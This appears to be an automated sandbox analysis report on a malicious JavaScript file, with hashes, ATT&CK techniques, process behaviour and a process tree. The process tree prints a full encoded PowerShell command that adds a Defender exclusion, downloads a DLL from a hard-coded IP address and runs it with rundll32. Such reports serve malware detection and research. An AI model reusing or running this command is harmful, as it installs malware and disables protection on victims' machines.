10fa08a3bd1d6fa3c1180a34158070331927dfc3c2a7c7dd746d90ebab831acc

Analysis

max time kernel
78s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
10-03-2023 13:29

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General

Target

R(961)H-uFHRb.js
Size

45KB
MD5

75203756fbe4866340b4e3627a0db8b2
SHA1

e297c4cb3d7dd88db617e5662f92f3703e279612
SHA256

10fa08a3bd1d6fa3c1180a34158070331927dfc3c2a7c7dd746d90ebab831acc
SHA512

78eace37f74ca3ce32dcdec6006226b72b429329213c552a87a2f0d3a4e7050253eb8e7d2ef7aaff8a20b3aa248c6cdf491f72853caefb8c758a12f9b9dcf268
SSDEEP

768:S1jHQXsSxqYImZZLwzc4leqtUhQKerPpMcH3QBUY/s3icgXhALsFmFDA:Wjwcm6mZ1PwpM9aYCxC

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	2704	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2704	powershell.exe
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 2704	4224	wscript.exe	85
PID 4224 wrote to memory of 2704	4224	wscript.exe	85
PID 2704 wrote to memory of 2520	2704	powershell.exe	92
PID 2704 wrote to memory of 2520	2704	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\R(961)H-uFHRb.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABOAG8AbgByAGUAYwBlAHMAcwBpAHYAZQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAEcAdQBsAGwAZQByAHkAIAB8ACAAJQB7ACQAXwAuAFcAYQBjAGgAZQBuAGgAZQBpAG0AZQByAEcAcgBvAHUAbgBkAHcAYQBsAGwAfQA7ACAAJABOAG8AbgByAGUAYwBlAHMAcwBpAHYAZQAgAD0AIAAiAEEAeABpAGwAbABhAHIAeQAiACAAKwAgACQATgBvAG4AcgBlAGMAZQBzAHMAaQB2AGUAOwAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AGYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE4AbwBuAHIAZQBjAGUAcwBzAGkAdgBlACkAKQA7ACAAWwBjAGwAYQBzAHMAaQBjAHkAYwAxAF0AOgA6AEUAeABlAGMAdQB0AGUAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAeABlAGMAdQB0AGkAbwBuAHAAbwBsAGkAYwB5ACAAYgB5AHAAYQBzAHMAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAAIgAiAGAAJABjAHUAcgByAGUAbgB0AEQAcgBpAHYAZQAgAD0AIABgACgAZwBlAHQALQBsAG8AYwBhAHQAaQBvAG4AYAApAC4ARAByAGkAdgBlAC4ATgBhAG0AZQAgACsAIAAnADoAXAAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABoAHkAcABlAHIAbgBvAG0AaQBjAFUAbgBvAHYAZQByAGwAZQBhAHAAZQBkACAALwB2ACAAVwBhAGMAaABlAG4AaABlAGkAbQBlAHIARwByAG8AdQBuAGQAdwBhAGwAbAAgAC8AZgAiACIAIgApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAOgAvAC8AOAA1AC4AMgAzADkALgA1ADQALgAyADMAMwAvAEQAbQBWAFcALwAxACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABvAGMAdABvAGQAZQBjAGkAbQBvAHMAQgBvAG4AZQBiAHIAZQBhAGsAZQByAC4AZABsAGwAOwBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAbwBjAHQAbwBkAGUAYwBpAG0AbwBzAEIAbwBuAGUAYgByAGUAYQBrAGUAcgAuAGQAbABsACwAWABMADUANQA7AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\octodecimosBonebreaker.dll XL55
    3⤵
    PID:2520

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yz2l4ca1.q2j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2704-136-0x000001FE35BC0000-0x000001FE35BE2000-memory.dmp

Filesize
136KB

Download
memory/2704-146-0x000001FE19090000-0x000001FE190A0000-memory.dmp

Filesize
64KB

Download
memory/2704-147-0x000001FE19090000-0x000001FE190A0000-memory.dmp

Filesize
64KB

Download
memory/2704-148-0x000001FE19090000-0x000001FE190A0000-memory.dmp

Filesize
64KB

Download